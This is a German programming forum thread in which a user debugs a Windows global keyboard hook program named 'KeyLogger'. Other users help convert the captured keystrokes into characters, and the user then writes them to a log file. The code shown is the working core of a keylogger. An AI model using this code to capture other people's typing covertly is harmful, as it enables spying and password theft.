Fehler beim Laden von DLL-Funktionen



  • So werden sie exportiert

    EXPORT BOOL CALLBACK SetupHook (HWND) ;
    EXPORT BOOL CALLBACK UninstallHook (void) ;
    

    Auch wenn ich den führenden Unterstrich weglasse geht es nicht.

    // Überprüfen ab vor dem Aufruf dieser Funktion die Taste bereits gedrückt war
    			SendMessage ((HWND) hWindow, (WM_USER + 2), (WPARAM) wParam, (LPARAM) lParam) ;
    			// Senden der Nachricht (WM_USER + 2) und den Tastencode der gedrückten
    			// Taste (gespeichert in "wParam") an das in der globalen Variable
    			// hWindow gespeicherte Fensterhandle.
    

    Also nen normaler Windows Scancode den man bekommt.



  • Ich hab das ganze jetzt zum laufen gebracht, allerdings läuft es nur so lange wie in meinem switch in der Nachrichtenprozedur kein case WM_DESTROY steht 😕

    Entfernt man das case WM_DESTROY funktioniert es einwandfrei, aber lässt man es so wie unten im Code, dann erhält man beim ersten Tastendruck eine MessageBox und wenn man dort auf ok klickt schließt sich diese und dazu das gesamte Programm 😕

    #include <windows.h>
    
    typedef BOOL (*DLLPrcInst) (HWND);
    typedef BOOL (*DLLPrcRem) (void);
    
    LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM);
    
    int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hinstPrev, LPSTR lpCmdLine, int nCmdShow)
    { 
    	//
    	static TCHAR szAppName[] = TEXT ("KeyLogger"); 
    	MSG          msg; 
    	HWND hwnd;
    	WNDCLASSEX   wndclassex = {0}; 
    
    	wndclassex.cbSize        = sizeof(WNDCLASSEX); 
    	wndclassex.style         = CS_HREDRAW | CS_VREDRAW; 
    	wndclassex.lpfnWndProc   = WndProc; 
    	wndclassex.cbClsExtra    = 0; 
    	wndclassex.cbWndExtra    = 0; 
    	wndclassex.hInstance     = hinst; 
    	wndclassex.hIcon         = LoadIcon (NULL, IDI_APPLICATION); 
    	wndclassex.hCursor       = LoadCursor (NULL, IDC_ARROW); 
    	wndclassex.hbrBackground = (HBRUSH) GetStockObject (LTGRAY_BRUSH); 
    	wndclassex.lpszMenuName  = NULL; 
    	wndclassex.lpszClassName = szAppName; 
    	wndclassex.hIconSm       = wndclassex.hIcon; 
    
    	if (!RegisterClassEx (&wndclassex)) 
    	{ 
    		MessageBox (NULL, TEXT ("RegisterClassEx fehlgeschlagen!"), szAppName, MB_ICONERROR); 
    		return 0; 
    	}
    
    	hwnd = CreateWindowEx (WS_EX_OVERLAPPEDWINDOW, // erweiterter Fensterstil 
    		szAppName, // Name der Fensterklasse 
    		szAppName, // Fenstertitel 
    		WS_OVERLAPPEDWINDOW, // Fensterstil 
    		350, // X-Position des Fensters .... CW_USEDEFAULT für Default                      
    		300, // Y-Position des Fensters        
    		0, // Fensterbreite                  
    		0, // Fensterhöhe                 
    		NULL, // übergeordnetes Fenster 
    		NULL, // Menü            
    		hinst, // Programm-Kopiezähler (Programm-ID)             
    		NULL); // zusätzliche Parameter 
    
    	ShowWindow (hwnd, SW_MINIMIZE); 
    	UpdateWindow (hwnd); 
    
    	/////////////////////////////////////////////////////////////////////////////////
        //					DLL Variablen & Laden der DLL							   //
    	/////////////////////////////////////////////////////////////////////////////////
    	HMODULE myLib = NULL;
    	DLLPrcInst SetHook = NULL;
    	DLLPrcRem  RemHook = NULL;
    
    	myLib = LoadLibrary ("KeyboardHook.dll");
    
    	if (myLib == NULL)
    	{
    		MessageBox (NULL, "Fehler beim Laden der DLL", "Error", MB_OK);
    		return 0;
    	}
    
    	SetHook = (DLLPrcInst)GetProcAddress (myLib, "SetupHook");
    	RemHook = (DLLPrcRem)GetProcAddress (myLib, "UninstallHook");
    
    	if (SetHook == NULL || RemHook == NULL)
    	{
    		MessageBox (NULL, "Fehler beim Laden der Funktionen", "Error", MB_OK);
    		return 0;
    	}
    
    	SetHook (hwnd);	
    
    	//Nachrichtenschleife
    	while (GetMessage (&msg, NULL, 0, 0)) 
    	{ 
    		TranslateMessage (&msg); 
    		DispatchMessage (&msg); 
    	} 
    
    	RemHook ();
    	FreeLibrary (myLib);
    
    	return 0;
    }
    
    LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
    {
    	switch (msg)
    	{
    		case WM_USER+2:
    		{
    			char str = (char)LOWORD (wparam);
    			char stri[2];
    			stri[0] = str;
    			stri[1] = '\0';
    			MessageBox (0, stri, "Info", MB_OK);
    		}
    		case WM_DESTROY:
    			PostQuitMessage (0);
    			return 0;
    	}
    
    	return DefWindowProc (hwnd, msg, wparam, lparam); 
    }
    


  • Dir fehlt im Zweig WM_USER+2 (sowas definiert man sich normalerweise mit einer Konstante, z. b. so: #define WM_MEINEMESSAGE WM_USER+2) auch ein return 0;

    Was Du da vorhast (das ausgeben des unteren Wertes von wParam zum char gecastet in einer MessageBox) geht zwar dennoch in die Hose, aber sonst...



  • MapVirtualKey könnte dir auch behilflich sein 🙂



  • Also die Buchstaben gibt er so aus, hatte anfangs nicht mehr dran gedacht, dass ich das Programm ja irgendwie schließen können muss 🤡

    Danke, dann bau ich das return 0 ein und schau mich mal nach MapVirtualKey um



  • Mit MapVirtualKey funktioniert es einwandfrei 🙂

    Nur würd ich auch gerne die Alternativbelegungen(strg und altr gr), groß- und kleinbuchstaben haben.
    Wie kann ich das machen?



  • Evtl. brauchst du dann doch wieder ToAscii 🙄



  • Würdest du (oder jdm anders) mir nen kleines Beispiel schreiben? Wenn ich das richtig verstehe setzt die Funktion in einem Array mit 256 Einträgen je nachdem welche Taste gedrückt wird ein Bit, aber wie les ich das dann aus und muss ich nach jedem Tastendruck das Array wieder leeren?



  • SirLant schrieb:

    Würdest du (oder jdm anders) mir nen kleines Beispiel schreiben?

    Ich bin gerade zu faul dazu 🙄

    SirLant schrieb:

    Wenn ich das richtig verstehe setzt die Funktion in einem Array mit 256 Einträgen je nachdem welche Taste gedrückt wird ein Bit, aber wie les ich das dann aus und muss ich nach jedem Tastendruck das Array wieder leeren?

    Nein, wenn du genau schaust, siehst du, dass lpKeyState als [in] markiert ist, das heitßt, dass du den Buffer gefüllt übergeben sollst. Diesen Buffer kannst du dir mit GetKeyboardState füllen lassen und dann an die Funktion übergeben. Das Ergebnis (also das oder die Zeichen) bekommst du dann über lpChar.
    Ist alles nur theoretisch angedacht - ich hoffe mal, dass das auch so klappt 🤡



  • Ok das hilft mir schonmal weiter, aber die Ausgabe ist immernoch nicht sauber, wenn ich z.B. HALLO WELT (also groß) schreibe dann steht in meiner Textdatei folgendes

    Ìhallo welt

    Mein Code sieht so aus:

    BYTE buf[256];
    WORD p;
    GetKeyboardState (&buf[0]);
    ToAscii (wparam, MapVirtualKey (wparam, 0), &buf[0], &p, 0);
    
    log << (char)p;
    


  • Versuch es mal mit lParam für den 2. Parameter (uScanCode) 😕
    Also so:

    BYTE buf[256];
    WORD p;
    GetKeyboardState(buf);
    ToAscii(wparam,lparam,buf,&p,0);
    


  • Danke jetzt klappt es 🙂


Anmelden zum Antworten